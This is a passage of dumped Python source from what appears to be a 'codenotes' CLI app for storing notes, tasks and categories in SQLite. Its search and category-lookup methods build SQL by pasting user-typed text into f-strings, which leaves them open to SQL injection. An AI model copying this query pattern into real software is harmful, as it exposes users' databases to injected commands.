self.db.close()\n\n\n@final\nclass SearchNote(SearchABC):\n \"\"\"Class to search and display notes in the database\n\n This class only has the purpouse to search and display the notes. The arguments that will be used to filter the\n search are text and date(s). The SQL statement for the query will be dinamycally generate depending on the captured\n (and previously mentioned arguments).\n\n Attributes\n ----------\n console: Console\n (Rich) Console for beautiful printting\n\n db: SQLiteConnection\n Connection with the dabatase\n\n search_date: Union[date, list[date]]\n Date or list of dates to search the notes\n\n search_text: str\n Text to search in the title of the notes\n\n search_category: str\n Name of the category where the notes will be searched\n\n search_category_id : int\n Id of the category where the notes will be searched\n \"\"\"\n\n console: Console\n db: SQLiteConnection\n search_date: Optional[Union[list[date], date]]\n search_text: str\n search_category: str = None\n search_category_id: int = None\n\n def __init__(self, args: Namespace) -> None:\n \"\"\"SearchNote constructor\n\n Parameters\n ----------\n args: Namespace\n Arguments of argparse\n \"\"\"\n self.console = Console()\n self.db = SQLiteConnection()\n self.search_date = dates_to_search(args)\n self.search_text = format_argument_text(args.text)\n\n try:\n if date_args_empty(args):\n raise MissingArgsException\n\n if args.category:\n self.search_category = format_argument_text(args.category)\n\n self.search()\n\n except CategoryNotExistsError:\n PrintFormatted.custom_print(\n f'[red][bold]❌\"{self.search_category}\"[/bold] category does not exists[/red]'\n )\n\n except KeyboardInterrupt:\n PrintFormatted.interruption()\n\n except MissingArgsException:\n PrintFormatted.print_help(help_text.SEARCH_USAGE_TEXT)\n\n @classmethod\n def set_args(cls, args: Namespace) -> None:\n \"\"\"Class method that initializes the class and automatically will do the search\n\n Parameters\n ----------\n args: Namespace\n Arguments of argparse\n \"\"\"\n cls(args)\n\n def category_exists(self, category_name: str) -> bool:\n \"\"\"Checks if the typed category exists\n\n Parameters\n ----------\n category_name: str\n Name of the category which will be verified if it exists\n\n Returns\n -------\n exists: bool\n Boolean value flag if the category already exists\n \"\"\"\n sql = (\n f\"SELECT {categories.COLUMN_ID} FROM {categories.TABLE_NAME} WHERE \"\n f\"{categories.COLUMN_NAME} = '{category_name}'\"\n )\n query = self.db.exec_sql(sql)\n categories_list: list[tuple] = query.fetchall()\n\n if categories_list: # categories_list == (id,)\n self.search_category_id = categories_list[0][0]\n return True\n return False\n\n def sql_query(self) -> list[tuple]:\n \"\"\"Makes a query of related information of notes, and also adds more statements to the main sql\n\n Returns\n -------\n query: list[tuple]\n Query done to the database\n \"\"\"\n sql = (\n f\"SELECT {notes.TABLE_NAME}.{notes.COLUMN_TITLE}, {notes.TABLE_NAME}.{notes.COLUMN_CONTENT}, \"\n f\"{categories.TABLE_NAME}.{categories.COLUMN_NAME}, \"\n f\"{notes.TABLE_NAME}.{notes.COLUMN_README}, {notes.TABLE_NAME}.{notes.COLUMN_CREATION} FROM \"\n f\"{notes.TABLE_NAME} INNER JOIN {categories.TABLE_NAME} ON \"\n f\"{notes.TABLE_NAME}.{notes.COLUMN_CATEGORY} = {categories.TABLE_NAME}.{categories.COLUMN_ID}\"\n )\n\n if self.search_date:\n if isinstance(self.search_date, date):\n sql = add_conditions_sql(\n sql, f'{notes.COLUMN_CREATION} LIKE date(\"{self.search_date}\")'\n )\n\n elif isinstance(self.search_date, list):\n first_day, last_day = self.search_date\n sql = add_conditions_sql(\n sql,\n f'{notes.COLUMN_CREATION} BETWEEN date(\"{first_day}\") '\n f'AND date(\"{last_day}\")',\n )\n\n if self.search_text:\n sql = add_conditions_sql(\n sql, f'{notes.COLUMN_TITLE} LIKE \"%{self.search_text}%\"', \"AND\"\n )\n\n if self.search_category:\n if not self.category_exists(self.search_category):\n raise CategoryNotExistsError\n\n sql = add_conditions_sql(\n sql, f\"{notes.COLUMN_CATEGORY} = {self.search_category_id}\", \"AND\"\n )\n\n query = self.db.exec_sql(sql)\n\n return query.fetchall()\n\n def search(self) -> None:\n \"\"\"Displays a tree with Panels as child nodes with the notes searched\"\"\"\n root = Tree(\"📒[bold #964B00] List of Notes Found\")\n query = self.sql_query()\n\n if query: # query != []\n notes_sorted = sorted(query, key=sorter)\n actual_note = notes_sorted[0]\n actual_category = actual_note[2]\n\n child_node = root.add(f\":file_folder:[#d898ed]{actual_category}\")\n for actual_note in notes_sorted:\n if actual_note[2] != actual_category:\n\n actual_category = actual_note[2]\n child_node = root.add(f\":file_folder: [#d898ed]{actual_category}\")\n\n if actual_note[3] == 0:\n child_node.add(\n Panel(\n actual_note[1]\n if actual_note[1]\n else \"[red bold]Empty note[/red bold]\",\n title=f\"{actual_note[0]} {actual_note[4]}\",\n )\n )\n else: # actual_note[3] == 1\n markdown = Markdown(\n actual_note[1] if actual_note[1] else \"# Note Empty\"\n )\n child_node.add(\n Panel(markdown, title=f\"{actual_note[0]} {actual_note[4]}\")\n )\n\n else:\n root.add(\"[red]❌ No Note Found\")\n self.console.print(root)\n\n # self.db.close() # FIXME: DATABASE DONT CLOSE CORRECTLY\n", "id": "5694474", "language": "Python", "matching_score": 9.880939483642578, "max_stars_count": 4, "path": "codenotes/cli/notes.py" }, { "content": "from argparse import Namespace\nfrom datetime import date, datetime\nfrom typing import Any, Optional, Union, final\n\nfrom rich import box\nfrom rich.console import Console\nfrom rich.table import Table\nfrom rich.theme import Theme\nfrom rich.tree import Tree\n\nimport codenotes.db.utilities.tasks as tasks\nimport codenotes.db.utilities.tasks_categories as categories\nimport codenotes.util.help as help_text\nfrom codenotes.abstract import CreateABC, SearchABC\nfrom codenotes.cli import PrintFormatted\nfrom codenotes.db.connection import SQLiteConnection\nfrom codenotes.exceptions import CategoryNotExistsError, MissingArgsException\nfrom codenotes.util.args import (date_args_empty, dates_to_search,\n format_argument_text)\nfrom codenotes.util.sql import add_conditions_sql\nfrom codenotes.util.text import format_list_text, status_text\n\n\ndef sorter(query: tuple) -> Any:\n \"\"\"Function used to get the key that will be used in the built-in function sorted()\n\n Parameters\n ----------\n query: tuple\n Row from the query done to the database, which contains the variables that will be used to sort the query\n\n Returns\n -------\n key: Any\n Returns the key that will be used\n \"\"\"\n return query[3]\n\n\ndef create_args_empty(args: Namespace) -> bool:\n \"\"\"Functions that checks if the arguments required to create a new task are empty\n\n Parameters\n ----------\n args: Namespace\n Arguments capture with argparse\n\n Returns\n -------\n empty: bool\n Boolean value that indicates if the arguments required for a task are empty\n \"\"\"\n args_needed = [args.text, args.category]\n\n if any(args_needed):\n return False\n return True\n\n\n@final\nclass CreateTask(CreateABC):\n \"\"\"Class to create new tasks and categories in the database\n\n This class only has the purpose to create and display the preview of tasks, also create new categories and save\n tasks in it. The arguments that will be used to create it are the task content and optionally a category\n\n Attributes\n ----------\n category_id: int\n Category Id where the note will be stored (Default 1)\n\n category_name: str\n Category name where the note will be stored (Default 'TODO Task')\n\n creation_date: date\n Date of the creation of the note (Today date)\n\n task: Union[list[str], str]\n Task or list of task that will be store in database\n\n console: Console\n (Rich) Console for beatiful printting\n\n db: SQLiteConnection\n Connection with the dabatase\n \"\"\"\n\n category_id: int = 1\n category_name: str = \"TODO Task\"\n creation_date: date\n task: Union[list[str], str]\n console: Console\n db: SQLiteConnection\n\n def __init__(self, args: Namespace) -> None:\n \"\"\"Constructor fro AddTask class\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n self.console = Console()\n self.db = SQLiteConnection()\n self.creation_date = datetime.now().date()\n\n try:\n if create_args_empty(args):\n raise MissingArgsException\n\n if args.category:\n # Will create a new category if not exists\n self.category_name = format_argument_text(args.category)\n self.__save_category()\n\n if args.text:\n self.task = format_list_text(args.text)\n\n if args.preview:\n self.show_preview()\n else:\n self.save()\n\n except KeyboardInterrupt:\n PrintFormatted.interruption()\n\n except MissingArgsException:\n PrintFormatted.print_help(help_text.ADD_TASK_USAGE_TEXT)\n\n @classmethod\n def set_args(cls, args: Namespace) -> None:\n \"\"\"Set args and initialize class\n\n Parameters\n ----------\n args: NameSpace\n Arguments of argparse\n \"\"\"\n cls(args)\n\n def __save_category(self) -> None:\n \"\"\"Creates and saves a new category if not exists\n\n When the task(s) is going to be saved and is created a new category, it will set the id of this new one and\n store the task(s) in this created category\n \"\"\"\n if len(self.category_name) <= 30:\n if self.category_exists(self.category_name):\n\n custom_theme = Theme({\"msg\": \"#31f55f bold\", \"name\": \"#616161 italic\"})\n PrintFormatted.custom_print(\n f\"[msg]Category selected:[/msg][name]{self.category_name}[/name]\",\n custom_theme,\n )\n else:\n\n sql = f\"INSERT INTO {categories.TABLE_NAME} ({categories.COLUMN_NAME}) VALUES (?)\"\n cursor = self.db.exec_sql(sql, (self.category_name,))\n\n self.category_id = cursor.lastrowid\n\n self.db.commit()\n PrintFormatted.print_category_creation(self.category_name)\n else:\n self._ask_category()\n\n def _ask_category(self) -> None:\n \"\"\"Function that asks to the user to introduce different category name\"\"\"\n\n text = \"⚠️[yellow]Category name is too long (Max. 30 characters).[/yellow]Write another name:\"\n self.category_name = self.console.input(text).strip()\n\n while len(self.category_name) == 0 or len(self.category_name) > 30:\n self.category_name = self.console.input(text).strip()\n else:\n self.__save_category()\n\n def category_exists(self, category_name: str) -> bool:\n \"\"\"Checks if the typed category exists\n\n Parameters\n ----------\n category_name: str\n Name of the category which will be verified if it exists\n\n Returns\n -------\n exists: bool\n Boolean value flag if the category already exists\n \"\"\"\n sql = (\n f\"SELECT {categories.COLUMN_ID} FROM {categories.TABLE_NAME} WHERE \"\n f\"{categories.COLUMN_NAME} = '{category_name}'\"\n )\n query = self.db.exec_sql(sql)\n categories_list: list[tuple] = query.fetchall()\n\n if categories_list: # categories_list == (id,)\n self.category_id = categories_list[0][0]\n return True\n return False\n\n def show_preview(self) -> None:\n \"\"\"Method that displays a table with the tasks that will be stored\"\"\"\n formatted_date = self.creation_date.strftime(\"%Y-%m-%d\")\n\n self.console.rule(\"Preview\", style=\"purple\")\n\n table = Table(box=box.ROUNDED)\n table.add_column(\"Task\", overflow=\"fold\")\n table.add_column(\"Creation Date\", justify=\"center\", style=\"yellow\")\n\n if isinstance(self.task, list):\n for task in self.task:\n table.add_row(task, formatted_date)\n elif isinstance(self.task, str):\n table.add_row(self.task, formatted_date)\n\n self.console.print(table, justify=\"center\")\n\n if PrintFormatted.ask_confirmation(\n \"[yellow]Do you want to save them?(y/n):[/yellow]\"\n ):\n self.save()\n\n def save(self) -> None:\n \"\"\"Stores the task(s) in the database\"\"\"\n\n sql = (\n f\"INSERT INTO {tasks.TABLE_NAME} ({tasks.COLUMN_CONTENT},{tasks.COLUMN_CREATION}, \"\n f\"{tasks.COLUMN_CATEGORY}) VALUES (?,?,?);\"\n )\n\n with self.console.status(\"[bold yellow]Saving Tasks...\") as status:\n if isinstance(self.task, list):\n for task in self.task:\n values = (task, self.creation_date, self.category_id)\n self.db.exec_sql(sql, values)\n\n PrintFormatted.print_content_storage(task, self.category_name)\n\n elif isinstance(self.task, str):\n values = (self.task, self.creation_date, self.category_id)\n self.db.exec_sql(sql, values)\n\n PrintFormatted.print_content_storage(self.task, self.category_name)\n\n if self.task:\n self.console.print(\"[bold green]✔️Task Saved\")\n else:\n self.console.print(\"[bold red] 💥 No Task Saved\")\n\n status.stop()\n\n self.db.commit()\n self.db.close()\n\n\n@final\nclass SearchTask(SearchABC):\n \"\"\"Class to search and display tasks in the database\n\n This class only has the purpose to search and display the tasks. The arguments that will be used to filter the\n search are text and date(s). The SQL statement for the query will be dinamycally generate depending on the captured\n (and previously mentioned arguments).\n\n Attributes\n ----------\n console: Console\n (Rich) Console for beautiful printting\n\n db: SQLiteConnection\n Connection with the dabatase\n\n search_date: Union[date, list[date]]\n Date or list of dates to search the tasks\n\n search_text: str\n Text to search in the content of the tasks\n\n search_category: str\n Name of the category where the notes will be searched\n\n search_category_id : int\n Id of the category where the notes will be searched\n \"\"\"\n\n console: Console\n db: SQLiteConnection\n search_date: Optional[Union[date, list[date]]]\n search_text: str\n search_category: str = None\n search_category_id: int = None\n\n def __init__(self, args: Namespace) -> None:\n \"\"\"SearchTask Constructor\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n self.console = Console()\n self.db = SQLiteConnection()\n self.search_date = dates_to_search(args)\n self.search_text = format_argument_text(args.text)\n\n try:\n if date_args_empty(args):\n raise MissingArgsException\n\n if args.category:\n self.search_category = format_argument_text(args.category)\n\n self.search()\n\n except CategoryNotExistsError:\n PrintFormatted.custom_print(\n f'[red][bold]❌\"{self.search_category}\"[/bold] category does not exists[/red]'\n )\n\n except KeyboardInterrupt:\n PrintFormatted.interruption()\n\n except MissingArgsException:\n PrintFormatted.print_help(help_text.SEARCH_USAGE_TEXT)\n\n @classmethod\n def set_args(cls, args: Namespace) -> None:\n \"\"\"Class method that initializes the class and automatically will do the search\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n cls(args)\n\n def category_exists(self, category_name: str) -> bool:\n \"\"\"Checks if the typed category exists\n\n Parameters\n ----------\n category_name: str\n Name of the category which will be verified if it exists\n\n Returns\n -------\n exists: bool\n Boolean value flag if the category already exists\n \"\"\"\n sql = (\n f\"SELECT {categories.COLUMN_ID} FROM {categories.TABLE_NAME} WHERE \"\n f\"{categories.COLUMN_NAME} = '{category_name}'\"\n )\n query = self.db.exec_sql(sql)\n categories_list: list[tuple] = query.fetchall()\n\n if categories_list: # categories_list == (id,)\n self.search_category_id = categories_list[0][0]\n return True\n return False\n\n def sql_query(self) -> list[tuple]:\n \"\"\"Makes a query of related information of tasks, and also adds more statements to the main sql\n sql\n\n Returns\n -------\n query: list[tuple]\n Query done to the database\n \"\"\"\n sql = (\n f\"SELECT {tasks.TABLE_NAME}.{tasks.COLUMN_CONTENT},{tasks.TABLE_NAME}.{tasks.COLUMN_STATUS}, \"\n f\"{tasks.TABLE_NAME}.{tasks.COLUMN_CREATION}, \"\n f\"{categories.TABLE_NAME}.{categories.COLUMN_NAME} FROM {tasks.TABLE_NAME} INNER JOIN \"\n f\"{categories.TABLE_NAME} ON {tasks.TABLE_NAME}.{tasks.COLUMN_CATEGORY} = \"\n f\"{categories.TABLE_NAME}.{categories.COLUMN_ID}\"\n )\n\n if self.search_date:\n if isinstance(self.search_date, date):\n sql = add_conditions_sql(\n sql, f'{tasks.COLUMN_CREATION} LIKE date(\"{self.search_date}\")'\n )\n\n elif isinstance(self.search_date, list):\n first_day, last_day = self.search_date\n sql = add_conditions_sql(\n sql,\n f'{tasks.COLUMN_CREATION} BETWEEN date(\"{first_day}\") '\n f'AND date(\"{last_day}\")',\n )\n if self.search_text:\n sql = add_conditions_sql(\n sql, f'{tasks.COLUMN_CONTENT} LIKE \"%{self.search_text}%\"', \"AND\"\n )\n\n if self.search_category:\n if not self.category_exists(self.search_category):\n raise CategoryNotExistsError\n sql = add_conditions_sql(\n sql, f\"{tasks.COLUMN_CATEGORY} = {self.search_category_id}\", \"AND\"\n )\n\n query = self.db.exec_sql(sql)\n\n return query.fetchall()\n\n def search(self) -> None:\n \"\"\"Displays a tree with tables as child nodes with the tasks searched\"\"\"\n root = Tree(\"📒[bold blue] List of Tasks Found\")\n query = self.sql_query()\n\n if query: # When the list is not empty\n table = Table()\n table.add_column(\"Tasks\")\n table.add_column(\"Status\")\n table.add_column(\"Category\")\n table.add_column(\"Creation Date\", justify=\"center\", style=\"yellow\")\n\n tasks_sorted = sorted(query, key=sorter)\n actual_task = tasks_sorted[0]\n actual_category = actual_task[3]\n\n child_branch = root.add(f\":file_folder:[#d898ed]{actual_category}\")\n\n for actual_task in tasks_sorted:\n if actual_task[3] != actual_category:\n child_branch.add(table)\n\n table = Table()\n table.add_column(\"Tasks\")\n table.add_column(\"Status\")\n table.add_column(\"Category\")\n table.add_column(\"Creation Date\", justify=\"center\", style=\"yellow\")\n\n actual_category = actual_task[3]\n child_branch = root.add(f\":file_folder: [#d898ed]{actual_category}\")\n\n table.add_row(\n actual_task[0],\n status_text(actual_task[1]),\n actual_task[3],\n actual_task[2],\n )\n else:\n child_branch.add(table)\n\n else:\n root.add(\"[red]❌ No Task Found\")\n self.console.print(root)\n # self.db.close() # FIXME: DATABASE DONT CLOSE CORRECTLY\n\n\n@final\nclass DeleteTask:\n pass\n", "id": "7494071", "language": "Python", "matching_score": 5.789139747619629, "max_stars_count": 4, "path": "codenotes/cli/tasks.py" }, { "content": "from argparse import Namespace\nfrom typing import Final, Union, final\n\nfrom rich import box\nfrom rich.console import Console\nfrom rich.table import Table\nfrom rich.tree import Tree\n\nimport codenotes.db.utilities.notes_categories as notes_categories\nimport codenotes.db.utilities.tasks_categories as task_categories\nfrom codenotes.abstract import CreateABC, SearchABC\nfrom codenotes.cli import PrintFormatted\nfrom codenotes.db.connection import SQLiteConnection\nfrom codenotes.exceptions import MissingArgsException\nfrom codenotes.util.args import format_argument_text\nfrom codenotes.util.sql import add_conditions_sql\nfrom codenotes.util.text import format_list_text\n\n\ndef create_args_empty(args: Namespace) -> bool:\n \"\"\"Checks if arguments required to create a category in a type of annotation are empty\n\n Parameters\n ----------\n args: Namespace\n Arguments capture\n\n Returns\n -------\n empty: bool\n Return boolean value if any args are empty\n \"\"\"\n args_needed = [args.note, args.task, args.text]\n if any(args_needed):\n return False\n return True\n\n\ndef search_args_empty(args: Namespace) -> bool:\n \"\"\"Checks if arguments required to search a category in the types of annotations are empty\n\n Parameters\n ----------\n args: Namespace\n Arguments capture\n\n Returns\n -------\n empty: bool\n Return boolean value if any args are empty\n \"\"\"\n args_needed = [args.note, args.task, args.all]\n if any(args_needed):\n return False\n return True\n\n\n@final\nclass CreateCategory(CreateABC):\n \"\"\"Class to create new categories in the database\n\n This class only hast the purpose to create and display the preview of categories. The arguments that will be used\n to create it are the name of the category and the type of annotation where it wil be created, both required.\n\n Attributes\n ----------\n category: Union[list[str], str]\n Single or list of category names that will be stored\n\n category_table_name: str\n Name of the annotation type table where the categories will be stored\n\n category_id_column: str\n Name of the annotation type id column used to check if a category already exists\n\n category_name_column: str\n Name of the annotation type name column where the categories will be stored\n\n console: Console\n (Rich) Console for beatiful printting\n\n db: SQLiteConnection\n Connection with the dabatase\n \"\"\"\n\n category: Union[list[str], str]\n category_table_name: str\n category_id_column: str\n category_name_column: str\n console: Console\n db: SQLiteConnection\n\n def __init__(self, args: Namespace) -> None:\n \"\"\"CreateCategory Constructor\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n self.console = Console()\n self.db = SQLiteConnection()\n\n try:\n if create_args_empty(args):\n raise MissingArgsException\n\n self.category = format_list_text(args.text)\n self.__get_category_table(args)\n\n if args.preview:\n self.show_preview()\n\n else:\n self.save()\n\n except KeyboardInterrupt:\n PrintFormatted.interruption()\n\n except MissingArgsException:\n print(\"ERROR\")\n\n @classmethod\n def set_args(cls, args: Namespace) -> None:\n \"\"\"Class method that initializes the class and automatically will do the search\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n cls(args)\n\n def __get_category_table(self, args: Namespace) -> None:\n \"\"\"Sets a single or a list of table names and columns to store the category in a type of annation\n\n Parameters\n ----------\n args: Namespace\n Arguments of argparse\n \"\"\"\n if args.note:\n self.category_table_name = notes_categories.TABLE_NAME\n self.category_id_column = notes_categories.COLUMN_ID\n self.category_name_column = notes_categories.COLUMN_NAME\n\n elif args.task:\n self.category_table_name = task_categories.TABLE_NAME\n self.category_id_column = task_categories.COLUMN_ID\n self.category_name_column = task_categories.COLUMN_NAME\n\n def category_exists(self, category_name: str) -> bool:\n \"\"\"Checks if the typed category exists\n\n Returns\n -------\n exists: bool\n Boolean value flag if the category already exists\n \"\"\"\n sql = (\n f\"SELECT {self.category_id_column} FROM {self.category_table_name} WHERE \"\n f\"{self.category_name_column} = '{category_name}'\"\n )\n query = self.db.exec_sql(sql)\n categories_list: list[tuple] = query.fetchall()\n\n if categories_list: # categories_list == []\n return True\n return False\n\n def show_preview(self) -> None:\n \"\"\"Displays a table with the categories that will be stored\"\"\"\n table = Table(box=box.ROUNDED)\n table.add_column(\"Categories\")\n\n if isinstance(self.category, list):\n for category in self.category:\n table.add_row(category)\n\n elif isinstance(self.category, str):\n table.add_row(self.category)\n\n self.console.print(table, justify=\"center\")\n\n if PrintFormatted.ask_confirmation(\n \"[yellow]Do you want to save them?(y/n):[/yellow]\"\n ):\n self.save()\n\n def save(self) -> None:\n \"\"\"Stores the categories in the database\"\"\"\n\n sql = f\"INSERT INTO {self.category_table_name} ({self.category_name_column}) VALUES(?)\"\n\n with self.console.status(\"[bold yellow]Saving Category...\") as status:\n if isinstance(self.category, list):\n # TODO: Validate if len of the category is 30\n for category in self.category:\n if not self.category_exists(category):\n values = (category,)\n self.db.exec_sql(sql, values)\n\n PrintFormatted.print_category_creation(category)\n\n else:\n PrintFormatted.custom_print(\n f'❌ [bold] [red]\"{category}\"[/bold] already exists'\n )\n\n elif isinstance(self.category, str):\n if not self.category_exists(self.category):\n values = (self.category,)\n self.db.exec_sql(sql, values)\n\n PrintFormatted.print_category_creation(self.category)\n\n else:\n PrintFormatted.custom_print(\n f'❌ [bold] [red]\"{self.category}\"[/bold] already exists'\n )\n\n if self.category:\n self.console.print(\"[bold green]✔️ Category Saved\")\n\n else:\n self.console.print(\"[bold red] 💥 No Category Saved\")\n\n status.stop()\n\n self.db.commit()\n self.db.close()\n\n\nclass SearchCategory(SearchABC):\n \"\"\"Class to search and display categories in the database\n\n This class only has the purpose to search and display the categories. The arguments that wil be used to filter the\n search are text and type(s) of annotation. The SQL statement for the query will be dinamycally generate depending\n on the captured (and previously mentioned arguments).\n\n Attributes\n ----------\n ANNOTATIONS_TYPE: Final[list[str]]\n Contant list with all the types of annotations\n\n console: Console\n (Rich) Console for beautiful printting\n\n db: SQLiteConnection\n Connection with the dabatase\n\n search_category: str\n Name of the category that will be searched in the type of annotations\n\n category_table_name: str\n Name of the annotation type table where the categories will be searched\n\n category_id_column: str\n Name of the annotation type id column used to check if a category already exists\n\n category_name_column: str\n Name of the annotation type name column where the categories will be seached\n \"\"\"\n\n ANNOTATIONS_TYPES: Final[list[str]] = [\"Tasks\", \"Notes\"]\n\n console: Console\n db: SQLiteConnection\n search_category: str\n category_table_name: Union[list[str], str]\n category_id_column: Union[list[str], str]\n category_name_column: Union[list[str], str]\n\n def __init__(self, args: Namespace) -> None:\n \"\"\"SearchCategory Constructor\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n self.console = Console()\n self.db = SQLiteConnection()\n try:\n if search_args_empty(args):\n raise MissingArgsException\n\n self.search_category = format_argument_text(args.text)\n\n self.__get_category_table(args)\n\n self.search()\n\n except KeyboardInterrupt:\n PrintFormatted.interruption()\n\n except MissingArgsException:\n print(\"Error\")\n\n @classmethod\n def set_args(cls, args: Namespace) -> None:\n \"\"\"Class method that initializes the class and automatically will do the search\n\n Parameters\n ----------\n args: Namespace\n Arguments of argparse\n \"\"\"\n cls(args)\n\n def __get_category_table(self, args: Namespace) -> None:\n \"\"\"Sets a single or a list of table names and columns to search the category in the types of annations\n\n Parameters\n ----------\n args: Namespace\n Arguments of argparse\n \"\"\"\n if args.note:\n self.category_table_name = notes_categories.TABLE_NAME\n self.category_id_column = notes_categories.COLUMN_ID\n self.category_name_column = notes_categories.COLUMN_NAME\n\n elif args.task:\n self.category_table_name = task_categories.TABLE_NAME\n self.category_id_column = task_categories.COLUMN_ID\n self.category_name_column = task_categories.COLUMN_NAME\n\n elif args.all:\n self.category_table_name = [\n task_categories.TABLE_NAME,\n notes_categories.TABLE_NAME,\n ]\n self.category_id_column = [\n task_categories.COLUMN_ID,\n notes_categories.COLUMN_ID,\n ]\n self.category_name_column = [\n task_categories.COLUMN_NAME,\n notes_categories.COLUMN_NAME,\n ]\n\n def category_exists(self, category_name: str) -> bool:\n # TODO: Check if category typed exists in any type of annotation\n pass\n\n def sql_query(self) -> list[list[tuple]]:\n \"\"\"Makes a query of related information of tasks, and also adds more statements to the main sql\n sql\n\n Returns\n -------\n query: list[list[tuple]]\n Query done to the database\n \"\"\"\n query_list = []\n\n if isinstance(self.category_table_name, str):\n sql = f\"SELECT {self.category_name_column} FROM {self.category_table_name}\"\n\n if self.search_category:\n sql = add_conditions_sql(\n sql, f'{self.category_name_column} LIKE \"%{self.search_category}%\"'\n )\n\n query_list.append(self.db.exec_sql(sql).fetchall())\n\n elif isinstance(self.category_table_name, list):\n for i in range(len(self.ANNOTATIONS_TYPES)):\n sql = f\"SELECT {self.category_name_column[i]} FROM {self.category_table_name[i]}\"\n\n if self.search_category:\n sql = add_conditions_sql(\n sql,\n f'{self.category_name_column[i]} LIKE \"%{self.search_category}%\"',\n )\n\n query_list.append(self.db.exec_sql(sql).fetchall())\n\n return query_list\n\n def search(self) -> None:\n \"\"\"Displays a tree with tables as child nodes with the categories searched\"\"\"\n root = Tree(\"📒[bold blue] List of Categories Found\")\n query = self.sql_query()\n\n if query:\n i = 0\n for categories_list in query:\n child_branch = root.add(f\"📒[#d898ed]{self.ANNOTATIONS_TYPES[i]}\")\n\n table = Table()\n table.add_column(\"Name\")\n\n for categories in categories_list:\n table.add_row(categories[0])\n\n child_branch.add(table)\n i += 1\n\n else:\n root.add(\"[red]❌ No Category Found\")\n self.console.print(root)\n\n\nclass DeleteCategory:\n pass\n", "id": "9697335", "language": "Python", "matching_score": 4.333751678466797, "max_stars_count": 4, "path": "codenotes/cli/category.py" }, { "content": "from abc import ABC, abstractmethod\n\nfrom argparse import Namespace\nfrom typing import Union\n\nQuery = list[tuple]\nQueriesList = list[list[tuple]]\n\n\nclass CreateABC(ABC):\n \"\"\"Abstract class with methods required to create and store content in the database\"\"\"\n\n @abstractmethod\n def __init__(self, args: Namespace) -> None:\n ...\n\n @classmethod\n @abstractmethod\n def set_args(cls, args: Namespace) -> None:\n ...\n\n @abstractmethod\n def category_exists(self, category_name: str) -> bool:\n ...\n\n @abstractmethod\n def show_preview(self) -> None:\n ...\n\n @abstractmethod\n def save(self) -> None:\n ...\n\n\nclass SearchABC(ABC):\n \"\"\"Abstract class with methods required to search content in the database\"\"\"\n\n @abstractmethod\n def __init__(self, args: Namespace) -> None:\n ...\n\n @classmethod\n @abstractmethod\n def set_args(cls, args: Namespace) -> None:\n ...\n\n @abstractmethod\n def category_exists(self, category_name: str) -> bool:\n ...\n\n @abstractmethod\n def sql_query(self) -> Union[Query, QueriesList]:\n ...\n\n @abstractmethod\n def search(self) -> None:\n ...\n", "id": "2052742", "language": "Python", "matching_score": 0.1414940506219864, "max_stars_count": 4, "path": "codenotes/abstract.py" }, { "content": "\"\"\" Utility module with the statements and names related with notes table \"\"\"\nfrom typing import Final, Text\n\nimport codenotes.db.utilities.notes_categories as categories\n\nTABLE_NAME: Final[str] = \"cn_notes\"\n\nCOLUMN_ID: Final[str] = \"cn_note_id\"\nCOLUMN_TITLE: Final[str] = \"cn_note_title\"\nCOLUMN_CONTENT: Final[str] = \"cn_note_content\"\nCOLUMN_CATEGORY: Final[str] = \"cn_note_category\"\nCOLUMN_README: Final[str] = \"cn_note_readme\"\nCOLUMN_CREATION: Final[str] = \"cn_note_creation\"\n\nCREATE_TABLE: Final[Text] = (\n f\"CREATE TABLE IF NOT EXISTS {TABLE_NAME} ({COLUMN_ID} INTEGER PRIMARY KEY \"\n f\"AUTOINCREMENT NULL, {COLUMN_TITLE} NVARCHAR(30) NOT NULL, {COLUMN_CONTENT} \"\n f\"TEXT NULL, {COLUMN_CATEGORY} INTEGER NOT NULL, {COLUMN_README} INTEGER NULL DEFAULT 0\"\n f\", {COLUMN_CREATION} DATE NOT NULL, FOREIGN KEY({COLUMN_CATEGORY}) \"\n f\"REFERENCES {categories.TABLE_NAME}({categories.COLUMN_ID}));\"\n)\n", "id": "11509017", "language": "Python", "matching_score": 4.94849967956543, "max_stars_count": 4, "path": "codenotes/db/utilities/notes.py" }, { "content": "\"\"\" Utility module with the statements and names related with tasks table \"\"\"\nfrom typing import Final, Text\n\nimport codenotes.db.utilities.tasks_categories as categories\n\n\nTABLE_NAME: Final[str] = \"cn_tasks\"\n\nCOLUMN_ID: Final[str] = \"cn_task_id\"\nCOLUMN_CONTENT: Final[str] = \"cn_task_content\"\nCOLUMN_STATUS: Final[str] = \"cn_task_status\"\nCOLUMN_CREATION: Final[str] = \"cn_task_creation\"\nCOLUMN_CATEGORY: Final[str] = \"cn_task_category\"\n\nCREATE_TABLE: Final[Text] = (\n f\"CREATE TABLE IF NOT EXISTS {TABLE_NAME} ({COLUMN_ID} INTEGER PRIMARY KEY \"\n f\"AUTOINCREMENT NULL , {COLUMN_CONTENT} TEXT NOT NULL, {COLUMN_STATUS} \"\n f\"INTEGER NULL DEFAULT 0, {COLUMN_CREATION} DATE NOT NULL, {COLUMN_CATEGORY} \"\n f\"INTEGER, FOREIGN KEY({COLUMN_CATEGORY}) REFERENCES {categories.TABLE_NAME}\"\n f\"({categories.COLUMN_ID})); \"\n)\n\n\n# from datetime import datetime\n# datetime.now().date()\n# datetime.date(2020, 8, 12) <- This is how date is stored\n# https://www.tutorialspoint.com/How-to-store-and-retrieve-date-into-Sqlite3-database-using-Python\n", "id": "7709722", "language": "Python", "matching_score": 3.8328585624694824, "max_stars_count": 4, "path": "codenotes/db/utilities/tasks.py" }, { "content": "\"\"\" Utility module with the statements and names related with category notes table \"\"\"\nfrom typing import Final, Text\n\nTABLE_NAME: Final[str] = \"cn_notes_categories\"\n\nCOLUMN_ID: Final[str] = \"cn_notes_category_id\"\nCOLUMN_NAME: Final[str] = \"cn_notes_category_name\"\n\nCREATE_TABLE: Final[Text] = (\n f\"CREATE TABLE IF NOT EXISTS {TABLE_NAME} ({COLUMN_ID} INTEGER PRIMARY \"\n f\"KEY AUTOINCREMENT NULL, {COLUMN_NAME} NVARCHAR(30) NOT NULL);\"\n)\n\nINSERT_DEFAULT_CATEGORY: Final[Text] = (\n f'INSERT INTO {TABLE_NAME} ({COLUMN_NAME}) SELECT 